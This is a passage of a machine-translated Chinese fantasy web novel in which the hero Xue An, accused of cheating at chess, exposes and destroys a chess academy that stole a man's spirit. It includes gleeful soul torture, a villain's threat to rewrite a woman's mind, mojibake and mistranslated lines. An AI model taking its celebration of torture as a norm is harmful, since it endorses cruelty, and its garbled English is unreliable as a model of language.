    Xue An waved his hand, and then looked at Jing Tianrui with a playful look, "Is it because I didn''t follow it or cheated?"


    Jing Tianrui nodded arrogantly, "Of course!"


    Xue An smiled, smiling happily, "Well, I just want to see how powerful this famous Amaterasu Academy is, I''ll go with you this time!"


    Xue An''s reply made Jing Tianrui overjoyed.


    Many chess masters shook their heads secretly, thinking that Xue An''s promise was too hasty.


    That day, Shojiin was indeed the leading giant in chess, but I was afraid that it would be easy to get in and difficult to get out!


    Many people are full of regret.


    and Jing Tianrui grinned and said: "Very well, it seems that you know the current affairs well, then follow me!"


    Xue An shook his head, "But I have a condition!"


    "What conditions?"


    Xue An turned to look at the Cai family who was hiding behind the crowd, and smiled slightly, "Cai Yongxin, do you remember the previous bet?"


    Cai Yongxin trembled all over, but soon recovered his calm, and then sneered: "Of course I remember! But the surname is Xue, you haven''t won it yet! And if it is verified that you cheated, hehe, you can weigh the consequences. !"


    Cai Yongxin said that the more confident he was, the more arrogant the expression on his face.


    In fact, after Xue An''s six sons killed Jing Tianrui and others just now, Cai Yongxin almost peeed his pants without being scared.


    But when Jing Tianrui jumped out to accuse Xue An of cheating later, he let go of his heart again.


    As long as Master Jing insists on cheating, he won''t count as winning the game.


    So now he looks smug.


    Xue An smiled upon hearing the words, "It''s too early to tell whether you are cheating or not, but you remember to make an appointment! Enter the chess academy later, I hope everyone from the Cai family will be there!"


    Cai Yongxin was startled slightly, then looked back at his father, and the Patriarch Cai nodded.


    "Okay, of course our Cai family will go, after all, we have to see what happens to you!"


    Then Xue An turned his head and looked at Gong Changyue, who looked anxious.


    "Mr. Xue..."


    Xue An smiled, "Don''t worry, I have my own measures!"


    Then he looked at Zhuge Xuanqing, "Miss Zhuge, if you are not in a hurry, I hope you will follow you to the chess house, after all... there is something there that may be related to you!"


    Even if Xue An didn''t say anything, Zhuge Xuanqing would not leave, not to mention that when Xue An said something was related to her, he was even more startled, and then nodded.


    "Mr. Xue, Xuanqing will naturally go!"


    "Very good!"


    Xue An just nodded to Jing Tianrui, UU reading "Let''s go! I''ll go to the chess house with you!"


    The chess game is held very close to the chess courtyard. The place where Xue An Zhengdao 9th dan just now is at the gate of the chess courtyard.


    Now that the game has suddenly changed, this chess house has also received the news, so when Jing Tianrui and others came to the gate of the chess house, the gate was already open.


    And in front of the door stood an old acquaintance, Zhu Fei, the ghost chess master who was defeated by Xue An.


    I only saw Zhu Fei with a sullen smile on his face. After seeing everyone coming, he said faintly: "All the elders have received the news and are coming here, now follow me into the chess hall and wait!"


    After all, he glanced at Xue An coldly, then turned around and led the way.


    Xue An gave a noncommittal smile, and followed the crowd into the chess courtyard.


    When seeing Xue An''s back disappear behind the chess court gate, the audience instantly boiled.


    Everyone who came to watch the game did not leave, but wanted to see how the game would end.


    So these people got together and started talking.


    "Mr. Xue, who didn''t know where he came out, is superb in chess, but he is a bit naive. He actually went to the chess academy to confront him. Didn''t he know that this chess academy is named Amaterasu?" Someone shook his head and exclaimed. .


    "Shoki Academy has always been domineering and arrogant this day, it is estimated that this will be the end of ten deaths and no life!" There are people with regrets. .


    In short, no one is optimistic about Xue An''s trip.


    At the same time, the elders from all sides of the chess house are coming from all over the Amaterasu Star Territory.

 Chapter 1002： There is no reason to sin

    Amaterasu Chess Academy occupies a very large area, and it is divided into inner and outer courts.


    Tingqi Xuan is located in the middle of the two houses, and it is a place for the elders of the chess house to discuss matters.


    Outside Tingqixuan at this moment, the heads are crowded.


    What happened outside has spread throughout the chess school, attracting countless chess school disciples to watch the excitement.


    "Hey, is that the one who defeated Brother Jing? He looks so young!" Someone sighed.


    Before he finished his words, someone next to him gave him a push, "Shhh, keep your voice down! If you are heard by Master Jing, can you still have good fruit for you?"


    When this person heard this, he quickly covered his mouth and didn''t dare to say anything.


    It can also be seen how terrifying Jing Tianrui is in the eyes of these juniors and sisters.


    After entering Tingqixuan, seven high chairs were placed against the wall, but there was only one gray-haired old man sitting in the middle.


    Jing Tianrui, after seeing the old man, the color of arrogance on his face was also reduced a lot, and he respectfully shouted, "Uncle Master!"


    The old man was drinking tea, but after hearing the shout, he still did not move.


    After a while, he slowly raised his head to take a look at Jing Tianrui, and then turned his gaze to Xue An and Zhuge Xuanqing who were aside.


    Zhuge Xuanqing''s face turned pale, and he felt that the old man''s gaze was like a knife, and he couldn''t help but step back.


    The old man showed a smile that seemed like nothing, but Xue An stepped forward in silence, blocking Zhuge Xuanqing behind him.


    Upon seeing this, the old man showed a hint of surprise, and then said coldly: "Are you the one who cheated in the chess game today?"


    Xue An smiled faintly, "Why do you want to add to the crime, why? Nothing, you have already determined that I cheated?"


    "Audacious, dare to be so disrespectful to the ancient elder!" A guard standing beside the old man gave a sharp scream, and was about to attack.


    The ancient elder waved his hand, and then stared at Xue An gloomily, "The young man has sharp teeth, but don''t forget, this is a chess house!"


    "What can the chess house do? Don''t you allow others to talk?" Xue An said lightly.


    "Hmph!" Elder Gu snorted very annoyedly, and then turned around and smiled at Zhuge Xuanqing.


    "Miss Zhuge, I haven''t seen you for three years, and your chess skills have improved a lot. Zhuge''s family is truly a chess giant, and all the descendants are outstanding in the world!"


    These remarks were very polite, and Zhuge Xuanqing had no choice but to obey the younger generation, "Thank you, senior ancient!"


    Elder Gu chuckled, "But I don��t know where Miss Zhuge��s elder brother is? I haven��t heard from him for five or six years!"


    Zhuge Xuanqing''s face turned white, and he whispered: "My brother went out to search for the most logical reason for chess, and he has not returned yet!"


    "Oh, it turned out to be like this!" Elder Gu nodded.


    "Thinking about what kind of young hero Ling brother was, he will definitely get something when he goes out to search for the principles of chess this time, and then Zhuge''s family will have another chess master!"


    Zhuge Xuanqing was surprised.


    You must know that Zhuge''s family and Amaterasu chess house can be regarded as deadly rivals. Back then, her brother Zhuge Hanzo''s Amaterasu chess house could not look up for decades. The people of Amaterasu chess house probably hated Zhuge''s family to death.


    But now listening to the words of this ancient elder, it is full of the elder''s appreciation for the younger generation.


    What does it mean?


    Could the people of Amaterasu Academy have changed their sex?


    Zhuge Xuanqing was wondering.


    Xue An suddenly smiled, "But I guess, this girl Zhuge''s brother...it should be difficult to come back!"


    These words were like a shock to the sky, and Zhuge Xuanqing was shocked, "Mr. Xue, what do you mean by this?"


    "What do you mean...then you have to ask the elder of the chess academy! Really?" Xue An looked at the ancient elder with a smile.


    Elder Gu''s eyes changed slightly, but Xuan even recovered his calm, and then sneered: "Young man, you haven''t dealt with your affairs clearly, do you want to use this botched excuse to divert your attention?"


    Xue An applauded and sighed, "It''s really hard for you to come up with such a good excuse in such a short time!"


    "Presumptuous!"


    "Bold!"


    The sound of scolding came one after another in the hall.


    Xue An was unmoved, but coldly looked at the ancient elder sitting in the distance.


    The ancient elder''s face gradually became gloomy, and he was about to speak.


    I heard a woman''s sneer from the void, "I want to see, who would dare to cheat in the chess tournament?"


    With the voice, several figures gradually appeared on the high chair against the wall.


    and the leader, is a charming and enchanting woman.


    When they saw these people, Jing Tianrui and others gave salutes.


    "I have seen Elder Dai, Elder Yuan, grow old!"


    Even Elder Gu, who had been sitting there, stood up at this moment, "Senior Sister, a few younger brothers!"


    That''s right.


    It is the elders from the Amaterasu Academy.


    The appearance of these people made the atmosphere in the field suddenly stagnate.


    As the chief elder Dai Qinxin, she looked at Xue An with a playful look. It was only after a while that she sneered and said, "Boy, did you cheat on the chess game?"


    This question made the audience quiet.


    Xue An didn''t have any expressions. He just stood there and glanced at the elders who came faintly, "I want to say I didn''t cheat?"


    "You are talking nonsense!" Jing Tianrui jumped out first, and then punched the elders on the stage.


    "Several adults, this guy had no reputation before, but in the game he played against me and the other six people alone and won a big victory. Isn''t this strange?"


    "Oh? Is there such a thing?" Dai Qinxin frowned slightly.


    "That''s right! And now there is a recorded water curtain as proof!"


    said, this Jing Tianrui released a water curtain image, which was a scene where Xue An and the six of them played against each other.


    After seeing Xue An playing with Jing Tianrui and others in six different styles at the same time and winning.


    Dai Qinxin''s complexion gradually darkened, "This...how do you explain?"


    Xue An smiled, "Explain? What do I want to explain? They are weak and defeated by me. Does this still need to be explained?"


    "Nonsense, if you really have such strength, why are you not famous before? Don''t tell me that you are indifferent to fame and fortune, ha ha! Can win six nine-dan chess masters at the same time, even the elders can''t do it, let alone a whole Ordinary people with no reputation and foundation?" Jing Tianrui said with hatred.


    This series of questions made everyone in the audience focus on Xue An.


    Even Zhuge Xuanqing had a trace of doubt in his eyes at this moment.


    Yes!


    There are really too many mysteries on this Mr. Xue. If he is so powerful, why is he not famous before?


    Under everyone''s gaze, Xue An bowed his head and said nothing.


    Seeing his performance like this, Jing Tianrui became more and more proud.


    "What? Nothing to say?"


    And the elders of the chess courtyard also looked at each other, and then Dai Qinxin, who was sitting in the main seat, wanted to speak.


    But at this moment, Xue An laughed in a low voice: "I finally understand... where does R''s despicable character come from!"


    His voice was very small, and many people did not hear what he said clearly. .


    Jing Tianrui was also taken aback, and then said gloomily: "The surname is Xue, do you still plan to quibble?"


    Xue An slowly raised his head, looked at Jing Tianrui, and said faintly: "I just want to ask you now, does it feel good to use the talents plundered from others?"

 Chapter 1003： Wonderful opening

    As soon as these words came out, Sedum, who had originally looked arrogant, changed sharply.


    "you you����."


    "How did I know? Actually, I didn''t see it at the very beginning! But when the game started, when you were playing against other people, I realized the strangeness! Because people can talk, but his mind will not!"


    Xue An said lightly, then turned his head and said to Zhuge Xuanqing: "Miss Zhuge, aren''t you wondering where your brother has gone?"


    "I can tell you now that more than half of Jing Tianrui''s spirit comes from your brother, Zhuge Hanzo!"


    Boom!


    Zhuge Xuanqing was struck by lightning, staggered a few times, almost fell to the ground, and then looked at Xue An with a pale face.


    "You... are you telling the truth?"


    Xue An smiled faintly, "Is it true, haven''t you counted it in your heart?"


    Zhuge Xuanqing''s heart was surging, and his eyes flashed with complicated light.


    Although he has been claiming that his elder brother has gone out to search for chess, but Zhuge Hanzo has been silent for several years, which has made Zhuge''s people suspicious.


    Zhuge Xuanqing misses his brother every day.


    But she never expected that her brother, whom she could not find, would actually be in the Amaterasu star field.


    Xue An''s words seemed to open a door.


    What happened in the past few years passed quickly in Zhuge Xuanqing''s mind.


    Many trivial things that were originally inconspicuous are strung together at this moment.


    For example, although Jing Tianrui had some reputation before, but his chess cultivation base can only be said to be average, but shortly after his brother disappeared, his cultivation suddenly skyrocketed and won the championship of chess competition in one fell swoop.


    These kinds of doubts are all perfectly explained at this moment.


    Zhuge Xuanqing couldn''t stop trembling, and tears came from his eyes.


    "I''m so stupid... So my brother was killed by your bastards!" Zhuge Xuanqing whispered softly.


    And the atmosphere in the field stagnated to the extreme.


    Especially these elders of chess academy, their expressions are even more pale.


    Because the Amaterasu Chess Academy is powerful, but the Zhuge family is not a vegetarian. If this happens, the Zhuge family will definitely retaliate wildly.


    When the time comes, this matter will be really troublesome!


    Therefore, several elders looked at each other, and Dai Qinxin, who was the master sister behind, sneered.


    "It''s really wonderful! I almost believed what I said, but there is nothing to say, so why do you slander our chess house like this? Just rely on Jing Tian Rui''s mind?"


    "Besides, even you won the game by cheating. What qualifications do you have to question us?" Dai Qin asked with a sharp heart.


    Xue An seemed to have expected that they would say this a long time ago, so he just smiled.


    "Did I say you did it?"


    Ok?


    Everyone in the audience was taken aback.


    What does this mean?


    Zhuge Xuanqing suddenly raised his head, staring at Xue An with rounded eyes.


    Xue An said lightly: "With your strength, it is impossible to tie Zhuge Hanzo and deprive him of his spiritual intelligence!"


    "So there must be someone else who did it. Let me guess, it should be the sanctuary of chess. Am I right?"


    If what Xue An said just now looked like a lightning strike, then now it is like dropping a heavy bomb, and many people who blow it up are terrified.


    Chess!


    That is the top existence in the Amaterasu star field and even the whole chess road.


    If he really made the shot, then everything can be explained!


    Zhuge Xuanqing bit his lip firmly, ignoring that the blood had flowed out, but staring at Dai Qinxin and others with great resentment.


    "Very well, you people in the Amaterasu Star Territory dare to play such a black hand, our Zhuge family will never let you go!"


    As soon as Zhuge Xuanqing raised his hand, a spiritual thought flew out, preparing to return to Zhuge''s house to report.


    Before this divine mind left the room, Dai Qinxin reached out and grabbed it, and then crushed it to pieces.


    "Ms. Zhuge, I advise you to calm down, and not to do radical things just because of some slander from some people!"


    Zhuge Xuanqing''s eyes burst into flames, "Dai Qinxin, what do you mean?"


    Dai Qinxin smiled slightly, "It''s not interesting, but I think you may be a little tired and need to rest in the chess courtyard for a few days. After calming down, we will naturally send you back to Zhuge''s house!"


    Zhuge Xuanqing was furious, "Dare you! If you Amaterasu Chess Academy dare to treat me, my father and the Zhuge family will never let you go!"


    "Did we say what happened to you? I just want you to live here for a few days, and then find a way to make you forget some unpleasant things!" Dai Qinxin said with a smile.


    Just in this smile, it is full of chill.


    Zhuge Xuanqing was shocked.


    She finally understood what the people like Dai Qinxin were planning to do.


    Although his strength is good, if he is arrested and forcibly erased his memory, then he can''t resist it at all.


    Zhuge Xuanqing''s heart gradually sank into the bottomless abyss, and then she thought desperately.


    Could it be that my brother��s affairs were so obliterated?


    Dai Qin winked at the left and right, and planned to do it.


    At this moment, Xue An applauded softly, "It''s really a wonderful scene! Forcibly obliterating other people''s memories, so as to cover up their crimes, this is not the first time you have used this trick so familiarly. Did that happen, right?"


    Zhuge Xuanqing was surprised, and then subconsciously pulled Xue An, "Mr. Xue, I''ll report your kindness later, you go now!"


    said, she wanted to drag Xue An away.


    "Go! Ha ha, do you think he can still walk?" Dai Qin smiled grimly.


    Behind her, the elders also stood up silently.


    "Young man, to be honest, I actually admire you, because your aura and talent are excellent choices, even I can''t see through it! But you shouldn''t talk too much about this!"


    "Now the lid is opened by you we can only let you shut up forever!"


    Dai Qinxin''s voice is full of killing intent.


    And many guards quietly surrounded Xue An and others.


    The atmosphere has stagnated to the extreme, and the killing intent can be said to be on the verge.


    But at this juncture, Xue An still looked indifferent and even laughed.


    "Didn''t you say that I cheated before? Now it happens to be able to solve this problem as well!"


    What does ���� mean?


    What is he doing?


    In the eyes of everyone''s doubts, Xue An raised his hand and pointed at everyone, "Since it''s here, then play something big!"


    "Today, I want to single out your entire Amaterasu Academy!"

 Chapter 1004： Now its time for you to enter

    These words made the audience quiet for a few seconds, and then Dai Qinxin waited for the veterans to laugh out loud.


    "I really don''t know the height of the sky, the brat dare to utter such crazy words!" Elder Gu grinned.


    Dai Qinxin shook her head even more disdainfully, "The surname is Xue, don''t you really think you can change something with your own strength? Tell you, in the course of chess, no one will be our Amaterasu Academy. Opponent! Unless you are Master Chess!"


    Xue An was noncommittal, "Don''t worry, your chess master can''t run away, as for you..."


    Xue Ansen smiled, "There is no need for existence anymore!"


    "Looking for death!"


    has been standing behind Dai Qin''s mind, Yuan Dingtian, who hadn''t said a word from beginning to end, screamed and shot directly.


    As a spiritual monk who uses chess to enter the Tao, his attack methods are all related to chess.


    I saw a huge chess board criss-crossing layers suddenly appeared above Xue An''s head, covering it completely.


    Then the chessboard, which was superimposed on layers, began to rotate like a stone, and it was so powerful that it even squeezed the air and made roars.


    Under these powerful ultimate moves, even the golden immortal experts who specialize in physical skills have to hate on the spot.


    So after seeing this scene, many people in the field all smiled triumphantly.


    Especially Sedum.


    He can''t wait to laugh up to the sky.


    Aren��t you great? It turned out that Elder Yuan was ground into meat sauce?


    But his pride hasn''t held the * clock yet.


    I saw that the rock-solid chessboard suddenly began to tremble violently, and then a pair of slim and slender hands that looked like a sapphire hand appeared from it.


    After stretching out his hands, he pulled directly to both sides, and the game was completely torn apart.


    Xue An walked out slowly, then shook his head slightly, "The tricks are quite fresh, but they are not enough!"


    This time the audience was terrified.


    Yuan Dingtian almost stared out, "How...how is this possible!"


    Xue An smiled slightly, "Does it feel incredible? It doesn''t matter, I''ll give you another chance to see if you can shake me!"


    Yuan Dingtian quickly recovered his composure, then secretly looked at each other with Dai Qinxin and the other elders, and then all killed him.


    I saw a chess game that was ten times stronger than just now came crashing down and suppressed Xue An.


    And Dai Qinxin did not hesitate to move her hands, her ultimate move is a very delicate and beautiful chess piece.


    It''s just that this chess piece exudes cold murderous intent, and in an instant it blocked the environment around Xue An.


    As for the other elders, they all used their strongest killer moves.


    For them, they don''t care about their faces. As long as they can kill the opponent, they will do it without hesitation.


    I saw the brilliance lingering in the field, and the divine consciousness oscillated in the space, causing all the weaker people to retreat several times.


    No one can survive in this battle.


    Now, the people at Amaterasu Chess Institute took a deep breath.


    But Zhuge Xuanqing screamed at this time, "Mr. Xue!"


    said, rushing forward.


    But at this moment, a flower was in front of her eyes, and Jing Tianrui appeared in front of her proudly.


    "Miss Zhuge, I advise you to stand here honestly, otherwise if you are affected by Yu Wei and get hurt again, it will be difficult to explain to your family, are you right?"


    The ridicule in these words caused Zhuge Xuanqing to breathe fire in his eyes, "Jing Tian Rui, I will kill you!"


    When ���� said, he raised his hand, and three coins came straight to Jing Tian Rui.


    Jing Tian Rui gave a solemn expression, but with just a wave of his hand, he smashed the three coins, "Zhuge''s money is well-known in the world, but your strength is still too weak!"


    said, he stretched out his hand to catch Zhuge Xuanqing.


    At this moment, Gong Changyue, who had been standing next to Zhuge Xuanqing, suddenly gave a soft voice, "The long moon is in the sky!"


    A bright moon suddenly appeared in front of Zhuge Xuanqing.


    Jing Tianrui sneered, and without rest, he shot directly on this bright moon.


    Boom!


    A bright moon shattered directly.


    And Gong Changyue was shocked all over, and after a few steps back, bloodshot blood leaked from the corner of his mouth!


    "Gong Changyue!" Zhuge Xuanqing exclaimed.


    "Gong Changyue, do you want to be a hero to save the beauty based on your tricks? Unfortunately, you have no chance! When I catch Zhuge Xuanqing this time, I will personally tamper with her spiritual thoughts, and then she will love crazy Fuck me! My sister fell in love with her brother and enemy who killed her, and she was very excited to think of it! Hahahaha!"


    Jing Tianrui laughed wildly, and the laughter was full of pride and madness.


    But Zhuge Xuanqing''s complexion instantly turned pale.


    Because she understood that if Jing Tian Rui dared to say that, she would definitely dare to do so.


    If it really becomes like that, I might as well die!


    Thinking of this, Zhuge Xuanqing''s face showed death.


    "Miss Zhuge, don''t..." Gong Changyue exclaimed.


    "Chang Yue, I''m sorry!" Zhuge Xuanqing said softly, and then closed his eyes sadly, preparing to explode his spiritual thoughts.


    can be at this moment.


    A calm voice came from the center of the storm that was still raging, "I wanted to kill you directly! But now I suddenly feel that killing you will make you cheaper!"


    The sound came out.


    Zhuge Xuanqing, who had fallen into despair, raised her eyes suddenly.


    I saw the chessboard that was crazily crushed suddenly stagnated, then broke inch by inch, and finally broke apart.


    And those chess pieces that Dai Qinxin imprisoned the space, groaned even more, and were shocked into powder.


    in an instant.


    The storm that was still raging just now disappeared.


    And Xue An stood proudly in the court with a cold expression.


    Gong Changyue shouted in surprise, "Mr. Xue!"


    Xue An smiled at him slightly, "Doing well, chasing girls, you have to be a little shameless!"


    at the same time.


    Including Dai Qinxin, all the elders of the chess academy were shocked.


    "What is your cultivation base, and why are you so strong?" Elder Gu screamed in surprise.


    Xue An was noncommittal, but slowly stretched out his hand and said faintly: "I only know that in my eyes, the heavens are nothing more than a game of chess, and you are not even a chess piece!"


    heavens!


    This name caused Dai Qinxin to shock all over his body, and then shouted with a terrified face: "You are not from the surrounding stars, you are..."


    Xue An nodded showing white teeth, smiled sensibly, "Guessed right! Unfortunately, there is no reward!"


    After that, in Xue An''s palm, a chessboard slowly emerged.


    This chessboard looks unremarkable, not even stacked, just an ordinary flat chessboard.


    And Xue An said lightly at this time: "Now, it''s time for you to enter the game!"


    With the voice, the chessboard suddenly increased, and instantly enveloped the entire room.


    "No..." Dai Qinxin seemed to feel something, and turned around to escape.


    can be swept across the room with a huge suction.


    In the face of this powerful force, all struggles are in vain.


    In an instant, Dai Qinxin and the many elders of the chess school were all dragged onto the chessboard.

 Chapter 1005： Amaterasu

    In an instant, only Jing Tian Rui and others were left in a daze.


    Xue An turned his head and smiled at Jing Tianrui.


    "Now... it''s your turn!"


    Jing Tianrui was shocked, and then shouted in horror: "No...I..."


    The voice did not fall.


    Xue An casually pointed, Jing Tian Rui, who was about to escape, floated into the air.


    "Don''t kill me! Please don''t kill me! I agree to whatever you say, as long as you don''t kill me!" Jing Tianrui let out a ghost cry and wolf howl.


    Xue An took out his ears in his spare time, "It''s all right, don''t shout so loudly, I can''t hear you!"


    Jing Tianrui closed his mouth instantly, just looking at Xue An with pleading eyes.


    "Do you know why you weren''t locked in this game?"


    Jing Tian Rui shook his head quickly.


    "Because... you don''t even have the qualifications to enter!"


    Jing Tianrui''s eyes showed a look of despair. When he saw Xue An preparing to do something, he suddenly seemed to remember something and hurriedly shouted.


    "Don''t kill me, if you kill me, even the spirit of Zhuge Hanzo will have to be wiped out, and then he will really not be able to live!"


    When these words came out, Zhuge Xuanqing was shocked, "What are you talking about? My brother is still alive?"


    In order to survive, Jing Tianrui can''t take much care of it now, and hastily nodded and said: "Of course your brother is alive, because if a strong spiritual mind like him is really dead, then your Zhuge family will definitely feel that way, so We never killed him!"


    Zhuge Xuanqing shed tears again, choked up and said, "Brother..."


    Jing Tianrui grabbed the life-saving straw and said hurriedly: "Miss Zhuge, please don''t kill me..."


    Zhuge Xuanqing turned his head to look at Xue An, "Mr. Xue..."


    Xue An smiled faintly, "Don''t worry, I have no plans to kill him now!"


    Hearing these words, Jing Tianrui took a deep breath, and was a little bit happy.


    Now Zhuge Hanzo''s divine mind has been integrated with me. Unless you have the means to guard against the sky, the gods will not be able to separate them. In this way, because of the mouse, you have to keep me!


    When Master Chess knows about this, he will definitely come forward to save me, and it will be your death date!


    This Jing Tianrui is full of proud calculations.


    But Jing Tianrui was completely stunned by what Xue An said.


    "I just said that it will be cheaper if you kill it!"


    What does ���� mean?


    Jing Tianrui suddenly had a very ominous premonition in his heart.


    At this moment, Xue An waved his hand casually, and a sword light directly smashed Jing Tian Rui''s head.


    Zhuge Xuanqing exclaimed, "Mr. Xue..."


    Xue An said lightly: "It''s okay! I have a sense of measure!"


    At this time Jing Tianrui''s headless corpse had fallen to the ground, and a ball of black and white light appeared in the air.


    Then the ball of light seemed to understand, wiped his head and ran away.


    Xue An didn''t even chase after him, but said lightly, "Come back!"


    The ball of light flew back into Xue An''s palm with a whine.


    Then a miniature version of Sedum sharp appeared on the sphere of light.


    "The surname Xue, what do you mean? Didn''t you say not to kill me? Don''t you fear that Zhuge Hanzo will die in this situation?" Jing Tianrui shouted anxiously.


    Xue An smiled slightly, "Who said that if you are dead, he will die?"


    Jing Tianrui''s soul was startled.


    At this moment, a gleam of light flashed in Xue An''s eyes, and a surge of surging divine thought directly enveloped the Sedum.


    Jing Tianrui shouted, "What do you want to do? Ahhhhhhhhhhh...no!"


    A sharp pain that reached the depths of the soul made Jing Tianrui feel unhappy, and he felt as if he was torn in half by Shengsheng.


    In an instant.


    Jing Tianrui''s soul was torn into two halves.


    A black mass floating in the air dying.


    and the white light group dashed around, trying to leave here.


    Xue Anxin shook his hand, and the white light group gradually became quiet.


    And a gentle breath radiated from it.


    Zhuge Xuanqing gradually widened her eyes, tears bursting into her eyes, "This...this is the breath of brother!"


    Xue An smiled slightly, "Yes, this is the divine consciousness that was looted by Jing Tian Rui! Now I will leave it to you!"


    While speaking, Xue An threw the light ball directly to Zhuge Xuanqing.


    Zhuge Xuanqing hurriedly caught it, then cautiously put it in his hand, crying and said: "Brother, sister takes you home!"


    Xue An sighed slightly, then lowered his head to look at Jing Tianrui''s spirit.


    "How did it feel just now? Do you want to experience it again?"


    The black light ball twisted for a while, and then Jing Tian Rui shouted in horror, "No... don''t..."


    But the voice just fell.


    A sharp pain that was a hundred times more painful than just now caused Jing Tian Rui''s spirits to curl up together.


    After a full cup of tea, the pain will disappear.


    At this time, Jing Tian Rui''s spirit is already on the verge of collapse, and Jing Tian Rui''s murmur can even be heard.


    "Kill me, please kill me!"


    Xue An smiled when he heard the words, "Kill you? I said, death is cheaper for you! Enjoy it slowly, the pain is still very long!"


    As soon as the voice fell, Jing Tianrui''s spirit bulged suddenly.


    "Be careful, he wants to blew himself up!" Gong Changyue exclaimed.


    The last resort of the cultivator is to explode. Not only can he commit suicide, but he can also kill his opponent through powerful power But in front of Xue An, Jing Tianrui is impossible even if he wants to die.


    He held it casually.


    Jing Tianrui''s self-destruction was killed by life.


    "No..." Jing Tianrui let out a miserable cry, and the voice was full of despair.


    And just now.


    I only heard a sigh coming from afar in the void.


    "Friends, you have to be forgiving and forgiving, why do you do this?"


    Xue An smiled upon hearing this sentence.


    "I thought you were afraid to show up! It looks like this King Tianrui should be very important to you. It even allows you to deprive others of their wits at your own initiative, in order to promote his cultivation! If I am not mistaken, He should be your blood! Isn''t it? Amaterasu chess saint?"


    Amaterasu chess saint!


    The speaker is actually Amaterasu Gosei?


    Zhuge Xuanqing and Gong Changyue were all shocked.


    And hearing these words, there was a moment of silence in the void, and then someone sighed: "I have to say, you are really smart! That''s right, this King Tianrui is indeed my only bloodline!"


    At this time Jing Tianrui''s spirit has also recovered sober, and began to cry for help, "Help! Father, help!"


    Hearing this shout, the voice in the void became much more anxious. .


    "My friend, this is indeed something that I did not do right, but your anger has almost vented, so it''s better to let him go!"


    "And I can guarantee that as long as you let him go, I will release Zhuge Hanzo and go to Zhuge''s house to plead the crime. What do you think?"

 Chapter 1006： Advise people to be generous and be careful of being struck by lightning

    "Are you planning to negotiate a deal with me?" Xue An said lightly.


    "It''s not a transaction, it''s just that you have to take care of things, are you right?"


    Xue An smiled, then turned his head and said to Zhuge Xuanqing: "We have a saying, we must stay away from those who persuade you to be generous, otherwise you will be exhausted when lightning strikes him! What do you think? ?"


    Zhuge Xuanqing nodded in grief, "Mr. Xue, I think these words are so good! I will never forgive!"


    Xue An smiled, then turned his head, and said lightly: "Have you heard? My sister doesn''t plan to forgive you for what you did!"


    After a moment of silence in the void, the voice sounded again, "You have to be forgiving and forgiving, why don''t you understand this?"


    "Be forgiving and forgiving?" Xue An seemed to have heard some big joke, "When you dealt with Zhuge Hanzo, why didn''t you think about being forgiving and forgiving?"


    "You...what do you want? This is purely between me and Zhuge''s family! It has nothing to do with you at all!" Amaterasuqi Shengang said.


    Xue An shook his head, "You are wrong. If it''s other people''s affairs, I might not take care of them, but I have to take care of their family affairs, because they are my deceased people! As for you ask me what I plan to do... ."


    Xue An suddenly squeezed the palm of his hand, directly crushing this Jing Tian Rui''s soul, and then said coldly.


    "This is my face, otherwise he would have to endure hundreds of painful times to die!"


    There was silence in the void, and then there was a roar like thunder.


    "My son!"


    The sound shook the fields, and even the whole moon saw the stars shake.


    Everyone waiting for the result at the gate of the chess courtyard was shocked.


    "This voice...it seems to be Master Gosei!"


    "Why did Master Gosei also appear? What''s the matter?"


    is in these sounds of surprise.


    A number of chessboard phantoms appeared in the void, and then they smashed down into the chess courtyard to cover the sky and sun.


    "I want you to bury my son!" Amaterasu Chess is obviously on the verge of running away.


    "Gosh! Who actually provokes Master Qi Sheng so angry?" someone exclaimed.


    And more people fell on their knees trembling, succumbing to the powerful deterrence that made the world discolored, and begging Master Qi to calm down his anger.


    can be at this moment.


    In the chess courtyard, a dazzling sword light rushed into the sky, instantly shattering all the chessboards.


    A roar of anger with a hint of horror came from the void, "Aren''t you a chess monk? Why do you still use swordsmanship?"


    Xue An stood with his hands behind, looking at the roof of the hall that had been completely penetrated, and said lightly: "Who said that monks of chess can''t master swordsmanship?"


    "You...you act so arrogantly, aren''t you afraid of retribution?" Amaterasu roared.


    Xue An smiled coldly, "Retribution? No, you should be worried about this! And when you face the weak, you never talk about retribution!"


    Xue settled down, and then said: "And don''t think this is over, you are the one who caused everything, so you should wash your neck and wait for death at home!"


    "Asshole......" Amaterasu Master''s angry roar came from the void.


    Xue An frowned and stomped his feet suddenly, the void shook and the roar stopped abruptly.


    Then Xue Ancai faintly said: "Hah, are you so big, ah, it makes my ears hurt!"


    This scream of Xue An did not hide it, so it spread to the audience in an instant.


    Whether it was the disciples in the Amaterasu Chess Academy or the crowd outside waiting to see the excitement, they were all petrified.


    Because of this sudden scene, the shock to them is simply too great!


    Then someone said softly: "Listen to the voice...Is that Mr. Xue?"


    Everyone was silent for a while.


    Even though they have guessed it, many people still can''t believe it is true.


    After all, Xue An is just entering the Amaterasu Academy. Could it be that the people in the Amaterasu Academy are also...?


    This idea makes many people horrified secretly, and they think it''s incredible.


    can be at this moment.


    I saw that the chessboard that sucked Dai Qinxin and other chess elders into it suddenly rose into the sky, and it became bigger and bigger.


    To the back, people can even see the painful faces of Dai Qinxin and others who are imprisoned on the chessboard.


    hasn''t waited for everyone to react.


    Xue An said lightly: "From then on, Amaterasu Chess Academy... no longer exists!"


    After that, the chess game began to disintegrate piece by piece. With everything broken, there were Dai Qinxin and others above.


    in an instant.


    The chessboard disappeared in smoke.


    And the elders of the chess academy, who had been in the forefront for many years, also disappeared.


    Everyone opened their eyes and stared blankly.


    Many people��s brains are blank.


    Because this news is simply too explosive.


    The five elders of the chess academy were actually beaten by one move?


    And listening to what Xue An just said, this chess school will cease to exist from now on?


    is in this silence.


    The gate of the chess house opened silently.


    Then Xue An slowly walked out with Zhuge Xuanqing and Gong Changyue.


    Everyone evaded and even dare not look up at Xue An directly.


    Many Amaterasu chess masters are like bereaved concubines, such as Di Yuanlong, who has always been very arrogant. At this moment, they are completely shattered like eggplants hit by frost.


    But if someone is worried, someone is happy, so Gong Xueman rushed up overjoyed.


    "Brother, Mr. Xue! Did you win?"


    Gong Changyue nodded proudly, "Mr. Xue, of course, won!"


    Gong Xueman grinned to the back of his head with joy, only knowing that he was standing there and giggling.


    At this time, Xue An smiled slightly, "Xue Man, there is one more thing you forgot!"


    "What''s the matter?" Gong Xueman was taken aback.


    And Xue An turned his head and shouted at the Amaterasu Chess Academy: "Aren''t you coming out?"


    Following the voice, everyone in the Cai family came out pale.


    The leader is Cai Yongxin with two big palm prints on his face.


    When he saw Xue An, he thumped and knelt on the ground, unable to even speak.


